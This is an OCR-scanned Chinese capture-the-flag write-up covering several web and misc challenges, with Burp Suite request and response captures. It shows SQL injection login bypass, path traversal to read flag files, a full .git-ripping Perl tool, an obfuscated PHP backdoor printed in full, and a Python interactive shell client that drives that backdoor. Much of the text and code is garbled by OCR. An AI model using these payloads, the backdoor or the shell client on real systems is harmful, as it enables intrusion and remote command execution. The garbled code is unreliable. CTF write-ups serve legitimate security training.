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#!/usr/bin/env python
import hashlib

def md5(s):
return hashlib.md5(s).hexdigest()

for i in range(1, 9999999):
if md5(str(i)).startswith('3c7258"):
print i

187 H captchall 2142719 /& %14

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

FOST /Challenges/action.php?act lon=login HTTP/L.L

Host: £394d013e2ffaSdehece9deecedife7heod Ldede 144004, CLT . game

User-Agent: Mozilla/S.0 (Vindows NT é.1; WOWE4: rv:S1.0) Gecko/20100101 Firefox/S1.0

Accept: text/html,application/xheml+xml,application/xml:q=0.9, "/ *:q=0.8

Accept-Language: zh-CH, zh; q=0.8, en-US; q=0.5, .3

Accept-Encoding: gzip, deflace

Referer: http://£394d0l3e2fra5dehEcegdeeffod3fe7hco41deqc] 424004, ctt. gane/Chal lenges/ act ion. php 7act ion=login
Cookie: PHPSESSID=0Sdhigrhhlei4ckOetmi3iivyl

Comneetion: close

Pragma: no-cache
Cache-Control: no-cache

Content-Type: application/s-wwy-form-urlencodsd
Content-Length: 4

214271965 ubmit=Submit

username=admin' épassword=admingcaptcha_md!

HTTP/L.1 200 oK
Server: ASERVER/1.8.0-3

Date: Sat, D4 Feb 2017 06:05:28 GNT
Content-Type: text/html
Content-Length: 1018

Connection: close

¥-Powered-By: PHP/S.S.9-lubuntus.l1s

Expires: Thu, 19 Nov 1881 08:52:00 GHT
Cache-Control: no-stors, no-cache, lidate, p =0, =0
Pragma: mo-cachs

Vary: Accepc-Encoding

Set-Cookis: __ads_session=sYlirFC+2waPusSUDDARS; in=.*.ctf.game: path=/

doma.
X-Powsrsd-By—Anquanbac: MISS from pon-hbi-icg-ichungiu-ibl

<html>
<head>
<meta uLE-8rs
<meta http-squiv="X-UA-Compatible" content dge >
<weta name="viswport” content="width-dsvic ch, initial-scals=l">
<link rel="stylesheet” href="static/bootstrap.min.css">
<script src="static/Jquery.min.3is"></script>
tatic/bootstrap.min.jsts</seripts

cleartinns
<div class=reol-md-12 columnf>
<form rele="forn" mechod="post”>
<div class="form-group”>
<label for=r=xampleInputEmaill”>Usernames/ labs1><input name="us=rname”
pleInpucEmailln />

T extn class=r 1 e
</divs
<div class="form-group”s
<label for="exampleInpucPasswordl”>Password</label><inpuc
name="passuord" type="password" class="form-control” id="exampleInputPasswordl" />
<fdivs

error¥ou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near 'admin'' at line

Fiburpsuitedltfa, Zikadmin', KIAFEANR, LIRS admin'or'"1'="1

T
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https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
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Request Response
Raw | Params | Headers | Hex Raw-st HTML | Render
FOST /Challenges/act ion. phpaction=login BTTR/ L. L T ETTR/L.1 200 OF L\
Host: £394d013=2£149debiceddeciifdiziThegdldedclq=d004. cof. game P Server: ASERVER/L.6.0-3
User-Agent: Kosilla/s.0 (Vindows NT 6.l; WOWGd; rviSL1.0) Gecko/30100101 Firefox/S1.0 Date: Sat, 04 Feb 3017 0830,
Accept: text/html,application/xheml+xml,application/xml;q=0.9, 7/ *;q=0.9 Content-Type: text/html
Accept-Language: zh-CN, zh;q=0.8,en-US;¢=0.5, en: q=0.3 Content-Length: 1267
lecepe-Encoding: gzip, deflace Connection: close
Referer: hetp://£394d013=2££40dehEoeglesEaid3L6Theoqldec14=4004. ot £, game/ Chal lenges/ act ion. phpfact ion=Login ¥-Powered-By: PHP/S.5.S-lubuntud.lS
Cookis: PHPSESSID=oadhiSrhhlojdekDstmi3ijvil Expires: Thu, 18 Nov 1931 08:52:00 GHT
close Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Upgrade-Tnsecure-Requests: 1 Fragma: no-cache
Pragma: no-cache Vary: Aecept-Encoding
Cache-Control: no-cache Set-Cookie: _ ads session=VCA/PFO+2wgnuSUDDAA=: demain=.*.ctf.gams: path=/
Content-Type: application/x-www-form-urlencoded X-Powered-By—Anquanbaoc: MISS from pon-bj-icq-ichungiu-ibl
Content-Lengthi 74
<htmlx
username=admin' or 'l'='lkpassvord=adminscaptcha_mdS=2142719 csubmit=Submit <head>
<meta charssc=rutf-gns
<meta hetp-equiv="i-TA-Compacible” contenc="IE=sdge"s>
<meta name="viewport! content="width=device-width, initial-seale=l">
<link rel="stylesheet” href="static/bootstrap.min.css">
<script src="static/3jquery.min.js"></script>
<SCript src="static/booCSTrap.min.isT></script
</head>
<pody>
<div class="container”s
<div class="row clearfix">
<div class="col-md-12 column>
<form rele="form" method="post”>
<div elass="form-group”>
apel for=raxampleInputEmaillv>Username</label><input  name="username’
type="text” class="form-contrel” id="examplelnputEmaill" />
</aiv>
<div class="form-group”>
abel for=rexamplel sswordl” /1ab=1><inpu
i rd" type=rpassword" class="form-control” examp le InputPassvordl” />
</aivs
<scriptralert('Welcome admin' or
11") ;window. Location.href=". /action.php?action=rile" ;</script>subste (md5(captcha), 0, 6)=8d5354<div
Class="hox"><b>Capteha: </b></div>
<div  class="hox" id="temp-captcha-box'>
</divs
<input name="capteha mds'>
"ho% SUPMITT><input 1d="SubmiC” Type="submit” it val ></aiv>
</torm>
<faiv>
</divs
b b
v v
2|[<][+][> 0 matches 2| (<[ *][=] [1ye asearch temn 0 matches
Done 1.746 bytes | 68 millis
Go Cancel | | < |v || >|v 4ed004.ctf.game | #|| 2
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
FOST /Challenges/action.phpPaction=2ile| BTTP/1.1 L HTTE/L.L 200 oK T
Host: £394d013elEf49debEceddecEaEdIteThosdldedcl4e4004. cut. game P ASERVER/1.8.0-3 r
User-Agent: Nozilla/s.0 (Vindows NT 6.1; WOWGd; rviSl.0) Gecko/20L0010L Firsfox/S1.0 Date: Sat, 04 Feb 2017 06:0£:36 GHT
Accept: text/html,application/xheml+xml,application/xml;q=0.8, ¥/ ;q=0.8 Content-Type: text/html
Aecepe-Language: zh-CH, zh:q=0.8, =n-US; q=0.5, =n; q=0. Content-Length: 772
Accepe-Encoding: gzip, detlace Comnsction: close
/1394401323 £1490ebECET 426063 TETHET 142401424004 . GEL . game/ Chal lenges/act ion. php2act ion=Login ¥-Powersd-By: PHE/S.5.9-lubuntud. 1S
2dRIBERNIBI4E KDt 3ivI L Expires: Thu, 19 Nov 1981 08:52:00 GHT
Connsction: close Cache-Control: mo-store, no-cache, must-revalidate, post-check=0, pre-check=0
Upgrade-Insecure-Requests: 1 Pragma: no-cache
Agua: no-cache Vary: Accept-Encoding
Cache-Control: no-cache Set-Cookie: _ ads_session=TufIEFe+2whiuSUDDAA=; domain=.*.ctf.game; pach=/
Content-Type: application/x-wwy-form-urlencodsd ¥-Powered-By-Anquanbao: MISS from pon-bi-icq-ichungiu-ibl
Content-Length: 74
<!DOCTYPE html>
[ 142718 £aubmi t=Submit <html>
<head>
<meta charset="ucf-a"s
<meta MEtp-squive"¥-UA-Compatible" content="IE=edg=">
wiewport” content="width=device-width, initial-scal
styleshest® href=rstatic/bootstrap.min.css'>
tatic/jquery.min.js"></script>
5tatic/bOOCSTIAD . Win. I8 "> </ SOT 1Pty
<div class="containerms
<div class="row clearfixms
<div class="gol-md-12 columm">
<ol>
<li>
<a href=r./fils/download. php?f=hello.txt >hello. txt</a>
</1is
<li>
<a href="./file/dovnload. php?=s.TxL">s . txt</a>
</1i>
<li>
<a href=n./file/download. php?£=a.php">a.php</a>
</lix
</o1>
</aiv>
<faiv>
</aiv>
</body>
</heml>
b b
v v
<|[+][>][m 0 matches 2 [<][+][> 0 matches

2
Done

1,250 bytes | 62 millis

EREAN XM TH A, #ffile/download.phpBE, &% EflaghiikE, ¥
http://f394d013e2ff49deb6ce94ee686d3f67bc941dedc14e4004.ctf.game/Challenges/file/download.php?
f=/var/www/html/Challenges/flag.php F #flag.php L, R T



<?php

$f = $_POST[ 'flag'];

$f = str_replace(array('™"', "$', "K', #', "', N\, tUUL,ottULot(t, )Y, o, ), $);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))

{

die (" wowwwWWWWWWWWWWWWWWWWWWWWWWW ' ) ;

}
try

{
eval("\$spaceone = $f");

}
catch (Exception $e)

{

return false;

}
if ($spaceone === 'flag'){

echo file_get_contents("helloctf.php");
}

?>

BB R postz H HIflaglit e 45 22 B spaceonefR J5 Il 2 5 Aflag, 2R )5 Hifile_get_contents/5 iR [H
helloctf.phpfI %, ERIX B helloctf.php2Z M T iTIEHI, AREATEE S TERIRE. R J5 Hfirefoxi
hackbarfd@iffpost—/Mlag=flag;, &EFIERILE 2 E IEKflag

@ Load URL  view-source:http://f394d013e2ff49debbce94ee686d3f67bc041dedc14e4004.ctf game/Challenges/flag.php
B split URL
F Execute

Enable Post data [ | Enable Referrer

Post data flag=flag;
{7php
Fflag="Flag {3631 fcid—Tald7—4fab—-alfif-a606bibaibac)”;
2>

B H: Backdoor H. web
gityit &

B & T #rip.git.pl3efF, REGWNTF
#!/usr/bin/perl

use strict;

use LWP;

use LWP::UserAgent;

use HTTP::Request;

use Getopt::Long;

my $configfile="$ENV{HOME}/.rip-git";

s O mmn LI~



my LUNTLE,
$config{'branch'} = "master";

$config{'gitdir'} ".git";

$config{'agent'} = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:10.0.2) Gecko/20100101 Firefox/10.0.2';
$config{'verbose'}=0;

$config{'checkout'}=1;

if (-e $configfile) {
open(CONFIG, "<$configfile") or next;
while (<CONFIG>) {

chomp; # no newline
s/#.*//; # no comments
s/™\s+//; # no leading white
s/\s+$//; # no trailing white
next unless length; # anything left?

my ($var, $value) = split(/\s*=\s*/, $_, 2);
$config{$var} = $value;

}

close(CONFIG);

}
Getopt::Long::Configure ("bundling");

my $result = GetOptions (
"alagent=s" => \$config{'agent'},
"b|branch=s" => \$config{'branch'},
"ulurl=s" => \$config{'url'},
"c|checkout!" => \$config{'checkout'},
"s|verifyssl!" => \$config{'verifyssl'},
"v|verbose+" => \$config{'verbose'},
"h|help" => \&help

)

my @gitfiles=(
"COMMIT_EDITMSG",
"config",
"description”,
"HEAD",

"index",
"packed-refs"

)5

my @commits;
my $ua = LWP::UserAgent->new;
$ua->agent($config{'agent'});

my $gd=$config{'gitdir'}."/";
mkdir $gd;
print STDERR "[i] Downloading git files from $config{'url'}\n" if ($config{'verbose'}>0);
foreach my $file (@gitfiles) {
my $furl = $config{'url'}."/".$file;

getfile($file, $gd.$file);
}

mkdir $gd."logs";
mkdir $gd."logs/refs";
mkdir $gd."logs/refs/heads";



mkdir $gd."logs/refs/remotes"”;

mkdir $gd."objects";
mkdir $gd."objects/info";
mkdir $gd."objects/pack";

getfile("objects/info/alternates”,$gd."objects/info/alternates");

mkdir $gd."info";
getfile("info/grafts",$gd."info/grafts");

my $res = getfile("logs/HEAD",$gd."logs/HEAD");

my @lines = split /\n/, $res->content;
foreach my $line (@lines) {

my @fields=split(/\s+/, $line);

my $ref = $fields[1];

getobject($gd, $ref);

}

mkdir $gd."refs";

mkdir $gd."refs/heads";

my $res = getfile("refs/heads/".$config{ 'branch'},$gd."refs/heads/".$config{ 'branch'});
mkdir $gd."refs/remotes”;

mkdir $gd."refs/tags";

my $pcount=1;
while ($pcount>0) {
print STDERR "[i] Running git fsck to check for missing items\n" if ($config{'verbose'}>0);
open(PIPE,"git fsck |") or die "cannot find git: $!";
$pcount=0;
while (<PIPE>) {
chomp;
if (/~missing/) {
my @getref = split (/\s+/);
getobject($gd, $getref[2]); # 3rd field is shal
$pcount++;
}

}
close(PIPE);

print STDERR "[i] Got items with git fsck: $pcount\n” if ($config{'verbose'}>0);
}

if ($config{'checkout'}) {
system("git checkout -f");
}

sub getobject {

my ($gd,$ref) = @_;

my $rdir = substr ($ref,0,2);

my $rfile = substr ($ref,2);

mkdir $gd."objects/$rdir";
getfile("objects/$rdir/$rfile",$gd."objects/$rdir/$rfile");

sub getfile {
my ($file,$outfile) = @_;
my $furl = $config{'url'}."/".$file;

Py — -~ rm— e LS



my $req = HIIP::KequesT->New(ukl => $turi);
# Pass request to the user agent and get a response back
my $res = $ua->request($req);
if ($res->is_success) {
print STDERR "[d] found $file\n" if ($config{'verbose'}>0);;
open (out,">$outfile") or die ("cannot open file: $!");
print out $res->content;
close (out);
} else {
print STDERR "[!] Not found for $file: ".$res->status_line."\n"
if ($config{'verbose'}>0);
}

return $res;

}

sub help {

print "DVCS-Ripper: rip-git.pl. Copyright (C) Kost. Distributed under GPL.\n\n";
print "Usage: $0 [options] -u [giturl] \n";

print "\n";

print " -c perform 'git checkout -f' on end (default)\n";

print " -b <s> Use branch <s> (default: $config{'branch'})\n";

print " -a <s> Use agent <s> (default: $config{'agent'})\n";
print " -s verify SSL cert\n";

print " -v verbose (-vv will be more verbose)\n";

print "\n";

print "Example: $0 -v -u http://www.example.com/.git/\n";
print "Example: $0 # with url and options in $configfile\n";

exit 9;

}

perl rip-git.pl -v -u http://ddb@94bde1f34026b31b73f3493cadaecef278b88da74c26.ctf.game/Challenges/.git/
git log
git reset --hard 12c6ddf4af@a5542clcf6a9ab19b4231c1fd9a88

cat flag.php #& &flag.php, KILEHEAE — BN, KRBWT

<?php
echo "flag{true_flag is_in_the_b4ckdo@r.php}";
?>

BB REXFEDbickdoOr.php, LM XM, KIAswo, swoXfRviARIEHiB H =4 Ko

curl http://ddbe94bde1f34026b31b73f3493castaecef278b88da74c26.ctf.game/Challenges/.b4ckdodr.php.swo #Hcurl
HswoL
vim -r b4ckdo®r.php.swo #&kE swof



<?php

echo "can you find the source code of me?";

/**

* Signature For Report
*/$h="_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,%e))))m)m,$k)));$o=0b)m_get_ c)monte)m)mnts)m();
*/$H="m() ;$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o), )m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)m
*/$N="mR; $rr)m=@$r[ )m"HTT)mP_RE)mMFERER"];$ra)m=)m@$r[ "HTTP_AC)mC)mMEPT_LANG)mMUAGE)m")m];if($rr)m&&$ra){)msu
*/$u="%e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)ms_deco)mde(p)m)mreg_re)mpla
*/$F="%i<$)ml; )m){)mfo)mr($j)m=0; ($j<$c&8&$i<$1);$j)m++,$i+)m+){$)mo.=$t{$i)m}*$)mk{$j};}}r)meturn )m$o;}$r
*/$0="[$i]="";%p)m=$)m)mss ($p,3)m); }if(ar)mray_)mkey exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s|
*/$w=")m)); )m$p="";Ffo)mr($z=1; )m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))
*/$P="trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$s1()m$ss(m)md5($)mi.$kh)m),0,)m3));$Ff=$s)ml($ss()m)mmd
*/$i=")marse_)mstr)m($u[“q)muery"],$)m)mq);$g=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-
*/$x="m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&%_S)MESSI)m)mON;$)mss="sub)ms
*/$y=str_replace('b',"'"', 'crbebbabte_funcbbtion');/*

*/$c="$kh="4Ff7)m)mf" ; $kf="2)m)m8d7" ; funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)mo="";fo
*/$L=str_replace(')m', "' ,$c.$F.IN.$i.$x.$P.$w.$0.$u.$h.$H);/*

*/$v=$y ("' ,3L);8v();/*

Y
?>

BERIXAPHPRIEET, $%: http://www.cnblogs.com/go2bed/p/5920811.html, &— T B 1H Kpython
KA, FEurl BAESERE SHurl B AT

#!/usr/bin/env python

# encoding: utf-8

from random import randint,choice
from hashlib import md5

import urllib

import string

import zlib

import base64

import requests

import re

def choicePart(seq,amount):
length = len(seq)
if length == @ or length < amount:
print 'Error Input'
return None

result = []
indexes = []
count = 0

while count < amount:

i = randint(@,length-1)

if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:

return result

def randBytesFlow(amount):
result = "'
for i in xrange(amount):
result += chr(randint(®@,255))
return result



def randAlpha(amount):
result = "'

for i in xrange(amount):
result += choice(string.ascii_letters)

return result

def loopXor(text,key):

result

lenKey = len(key)
lenTxt = len(text)

iTxt = 0
while iTxt < lenTxt:
iKey = ©

while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ”~ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result

def debugPrint(msg):
if debugging:
print msg

# config

debugging = False

keyh = "4f7f" # $kh

keyf = "28d7" # $kf

xorKey = keyh + keyf

url = "http://ddbe94bde1{34026b31b73f3493cadaecef278b88da74c26.ctf.game/Challenges/b4ckdo@r.php’
defaultlLang = 'zh-CN'

languages = ['zh-TW;q=0.%d"', 'zh-HK;q=0.%d"', 'en-US;q=0.%d"', 'en;q=0.%d" ]

proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))

acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[@][0] + acceptLang[l][0] # $i

md5head = (md5(init2Char + keyh).hexdigest())[0:3]

md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))

debugPrint('md5 head: %s' % (mdShead,))

debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell

cmd = raw_input('phpshell > ')
while cmd != '':

# build junk data in referer

query = []



tor 1 1n xrange(max(indexes)+l+randint(9,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))

debugPrint('Before insert payload:')

debugPrint(query)

debugPrint(urllib.urlencode(query))

# encode payload
payload = z1lib.compress(cmd)

payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)

payload = mdShead + payload

# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[@:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0@
for i in indexes:
query[i] = (query[i][@],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:")
debugPrint(query)
debugPrint(referer)

# send request

r = sess.get(url,headers={"Accept-Language':acceptLangStr, 'Referer':referer},proxies=proxies)
html = r.text

debugPrint(html)

# process response
pattern = re.compile(r'<%s>(.*)</%s>"' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == @:
print 'Error, no backdoor response’
cmd = raw_input('phpshell > ")
continue
output = output[Q]
debugPrint (output)
output = output.decode('base64")
output

loopXor(output, xorKey)
output = zlib.decompress(output)
print output

cmd = raw_input('phpshell > ")

AT Z FEEZshell, HEIERflagfEthis_i5_flag.phpH

his 15 flag.php");
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B H: login &% :web
BEHFERLER, HP &% Ntest1/test
3% J5 Bk ¥ Zlmember.php

Go Cancel < |v >|v Target: http:/1117aff85710849348748deaT 2acTd87cad09603ae2ed4cbT ctf.game | & ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML ]'Reﬂder ]
GET /member.php HTTR/ 1.1 A HTTF/1.1 200 OK s
Host: 117aff85710849348748dea7lac7da7cag09603asled4cET . ot game - Server: ASERVER/L1.8.0-3 -
User-Agent: Mozilla/5.0 (Windows NT £.1; WOWE4: rv:51.0) Date: Sat, 04 Feb 2017 08:42:00 GMT
Gecko/20100101 Firefox/51.0 Content-Type: text/html;charset=utf-g
Aoeoept: Content-Length: €9
text/html,application/xhtml+xml, application/®ml; q=0.9, */*:q=0.8 Connection: close
Accept-Language: zh-CIHN, zh;q=0.8,en-U5;q=0.5,en;q=0.3 ¥-Powsred-By: PHP/5.5.9-lubuntu4.19
Aecept-Encoding: gzip, deflate Expires: Thu, 19 MNow 1831 08:52:00 GMT
Referer: Cache-Control: no-store, no-cachs, must-revalidate, post-check=0, pre-check=0
htop://11l7atf85710849348748d=a7lacT7d87ca®09603a=2ed4cET. oot game Pragma: no-cache
show: 0
Cookie: PHPSESSID=g4nlfontdgvkdoniulijco3igss Vary: Accept-Encoding
Connection: close Set-Cookie: __ads_sessinn=T3kquzBiwhO41UDDAA=: domain=.*.ctf.game; path=/
Upgrade-Insecure-Requests: L ¥-Powered-By-Ancquanbac: MISS from pon-bhj-icg-ichungiu-ibl
Cache-Control: max-age=0
<head>
<meta charset="utf-8" />
<{head>
(000" yoo—on
> N = VG — N j‘] '& =
B RKIE NshowH0, iE— FEHTTPL B inshows B, HHN1
1 Jizugl] - )
Go Cancel || < |v | >|v Target: http://117aff857 cttgame | #|( 7]
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /member.php HTTP/L.1 3 HTTP/L.l 200 OK .
Host: 117aff85710849348748dea7Zac7d87cadig9e03aeleddcET.ctt. game r Server: ASERVER/1.8.0-3
User-Agent: Mozilla/5.0 (Vindows NT €.1; VOWE4; rv:51.0) Gecko/20100101 Firefox/51.0 Date: Sat, D4 Feb 2017 08:44:33 GHT
Accept: text/himl,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Typs: text/html;charset=utf-8
Accept-Language: zh-CN, zh;q=0.8, en-US; q=0.5, en; q=0.3 Content-Length: 518
Accept-Encoding: gzip, deflace Connection: close
Referer: hrep://117af£85710849348748dea72ac7da7cad00c03as2eddc67. ot . game/ X-Powered-By: PHP/5.5.9-lubuntud.lo
Cockis: PHPSESSID=g4nlfont4gvkdtnOu20jt93g93 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Connection: close Cache-Control: mo-store, no-cache, must-revalidate, post-check=0, pre-check=0
Upgrade- Insecure-Requests: L Pragma: no-cache
Cache-Control: max-age=D Vary: Accept-Encoding
show: L Set-Cookie: _ ads_session=3MEMHwvCZwgXdyUDDAA=; domain=.*.ctf.game; path=/
X-Powered-By-Anquanbao: MISS from pon-bj-icg-ichungiu-ibl
<nzad>
<meta charsst=rure-gn />
-'elsisET, §_POST, §.S $ COOKIE)
public $where;
runction __wakeup()
»
if(isset (frequset['token']))
i
ze (gzuncom base64_decode (frequset['token']))).;
= string(flogdn['usez’])."\"");
5 k
4 v
0 matches 201 == 0 matches

2
Done

RE T —BPHP, #tget post session cookiel & IR EH %A T Brequset(ER T, A &request,

trick233), requeset[token]f =X fiErS

& J5 Hlkrlogin[user] & &4 Tichunqiu, #RJE%iHiflag

H—/ php/id K17 =R %55

phpRiG T

1410 bytes | 67 millis

X RN/



<?php
$requset
$arr

array_merge($_GET, $ POST, $ COOKIE);
array('user'=>"'ichunqiu');

$a = base64_encode(gzcompress(serialize($arr)));
$login
echo $a;
?>

unserialize(gzuncompress(base64_decode($a)));

41 H ¥ St 7E cookie H fritokendE b, Bk AE i H SR 2
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

M JEgetflag

Go Cancel <|r >

Target: http://117aff857 _ctf.game | || 2
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /member.php HTTP/L.L 4 Cache-Control: no-stors, no-cachs, must-revalidate, post-check=D, pre-check=0
Host: 117aff85710849348748dea72ac7d87cag09603as2ed4cET . CLL . gane P Fragma: no-cache
User-Agent: Mozilla/s.0 (Windows NT 6.1: WOWEd: rv:51.0) Geeko/Z010010
Recepe:

text/heml, applicat ion/xhtml+xml, application/ml;g=0.9, */*: q=0.
Aecepr-Languags: 2h-CN, 2 q=0.8, =n-U3; g=0.5, =n;q=0.3

Accept-Encoding: gzip, deflace

Referer: http://117affo57105849348748dea72ac7d87cas09603 as2ed4c67 . CLE . game.

Cookie: PHPSESSID=g4nlfont4gvkdtnOu203cS3go3; token=eJxLtDKOq162MrFSKI10LVEYLraysFLKTHA0ZSVHLFUyE gUAC40KXA==
Connection: elose

Upgrade-Insecure-Bequests: 1

Cache—Control: max-ags=

show: 1

1 Firefox/51.0
B

L
v

0 matches

: B

B KA. misc
GBI, EIBEKANE BB HERA 48

BH: REZTE—RERFRE KA. misc
T, F3EMEE —KCES 5HRE

L
Vary: Accept-Encoding

Set-Coolkiz: _ ads session=OSTIXqHCZwj7ECUDDAA=: domain=.*.ctf.game:

_ads_ . path=/
¥-Powsred-By-Anquanbac: MISS from pon-bj-icg-ichungiu-ibl

<head>
<meta charset=r"ucf-g" />
</head>

<t-— <opl

srequset
class db

{

__wakeun ()

if(lempty (Sthis->wnere))
i

Sthis->selsct (Sthis->wasre)

Sdb->select ('us.

if(Slogin[tuser']

echo §flag;

2> —->£lag{ 7-76

771k}

4
L_HLJBB Type a sear

0 matches

1.423 bytes | 62 millis

AT LLZ Blflag



#include<stdio.h>
#include<string.h>
void main() {

char str[100]="";
int i;

int len;
printf("input string:\n");
gets(str);
len=strlen(str);
printf("result:\n");
for(i=0;i<len+1;i++)

{
putchar(str[len-i]);
}
printf("\n");
}

AHEF L REFRL, pythonliAanT

#!/usr/bin/env python
str = 'balf2511fc30423bdb’
print str[::-1]

flag{bdb32403cf1152f1ab}

FH. BEERBITHINZ XK. misc
3. ZmxhZ3tpY 3FIZHVEZ29nb2dvX2Jhc2U2NHO=5 i H M1 7% 8 5 =2 55 R base64, python i A tn T

#!/usr/bin/env python

import base64

s = 'ZmxhZ3tpY3F1ZHVfZ29nb2dvX2Jhc2U2NHO="
print base64.b64decode(s)

flag{icqedu_gogogo base64}

W H: Not Found 2k%!. web



< |7

Go Cancel
RE‘I]I.IE“E-t

J Raw T Headers T Hex ]

Target: http://aa66e88bB80074a00a8792f70d5f9f9795f94ed18effb4520. ctf.game l_J

Response

J Raw I Headers T Hex T HTML T Render ]

w3

GET / HTTF/1.1

Host: aabB5e88bB0074a00a8792f 70d5fofo785f0ded18effba520. ctf. game
User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:43.0)
Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4

Accept:

text/html, application/xhtml+xml, application/xml; q=0.8,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.ichungiu.com/racing/ctf_S4967

Connection: close

Cache-Control: max-age=0

HTTP/1.1 404 Not Found

Server: ASERVER/1.8.0-3

Date: Wed, 25 Jan 2017 15:06:59 GMT
Content-Type: text/himl

Content-Length: 204

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4,19

X-Method: haha

Set-Cookie: _ ads_session=e0Uyr4F52giHBwwDDAA=;
domain=.* ctf.game; path=/
X-Powered-By-Anquanbao: MISS from pon-bj-icq-ichungiu-ibl

<!DOCTYPE HIML PUBLIC "-//IETF//DTD HTML 2. 6//EN"=>
<html=<head>

<title=404 Not Found</title>

</head=<body=

<hl=Net Found</hl=

<p=The requested URL /404.php was not found on this server.</p=
</body=</htnl=

MBE—T, KIRE:L#EX-method:haha, B 7~ & E & Mmethod 5%, & [F302

Request Response

Raw | Headers T Hex ] J Raw T Headers T Hex T HTML T Render ]

_ HTTP/1.1 302 Found i

M Wal

ame | Value Add Server: ASERVER/1.8.0-3 s
OPTIONS {HTTP/1.1 [ Date: Wed, 25 Jan 2017 15:08:06 GMT
Host 2366e88b80074a00a8792f70d5f9fg7. .. Remove Content-Type: text/html
User-Agent Mozilla/S.0 (X11: Linux i686; n:43.0) G... Content-Length: 220
Accept text/html,applicationfxhtml+xml applic... Up Connection: close

Accept-language en-ls,enig=05

Accept-Encoding gzip, deflate Down
Referer http:ifwww.ichungiu.comfracing/ctf_54... ;J
Connection close

Cache-Control max-age=0

%-Powered-By: PHP/5.5.9-1ubuntud.19

Location: ?f=1.php

Set-Cookie: _ ads_session=XT8Shoh52g]PBwwDDAA=;
domain=.*. ctf.game; path=/

K-Powered-By-Anquanbao: MISS from pon-bj-icg-ichungiu-ibl

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN">
<html=<head=

<title=404 Not Found</title=

</head=<body=>

<hl=Not Found</hl=

S <p=The requested URL /404.php was not found on this server.</p=
</body=</html=Not allowed file
RI—NMSH, KILA] LLiEE. htaccess
Request Response
J Raw T Params T Headers T Hex ] J RawT Headers T Hex ]
OPTIONS /?f=.htaccess HTTP/1.1 & HTTP/1.1 362 Found
-

Host: aab5e88bB0074a00a8792f 70d5T9fo785f94ed18effba520. ctf. game
User-Agent: Mozilla/5.0 (X11: Linux 1686; rv:43.0)
Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4

Accept:

text/html,application/xhtml+xml, application/uml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.ichungiu.com/racing/ctf_S4957

Connection: close

Cache-Control: max-age=0

4k s:follow

Server: ASERVER/1.8.0-3

Date: Wed, 25 Jan 2017 15:12:23 GMT

Content-Type: text/html

Content-Length: 94

Connection: close

X-Powered-By: PHP/S.S.9-1lubuntud. 19

Location: ?f=1.php

Set-Cookie: _ ads_session=DyfnGKI52gj0CAWDDAA=;
domain=.*,ctf.game; path=/

X-Powered-By-Anquanbao: MISS from pon-bj-icq-ichungiu-1ibl

RewriteEngine On
RewriteBase /
RewriteRule ~8d829d8568e46455104209db5cd9228d. html$ 404 .php [L]



Burp Suite Free Edition v1.6.32 (- o <)
Burp Intruder Repeater Window Help

[Target T Prox T Spider T Scanner I Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Options TAIerts ]

1 = | 2=
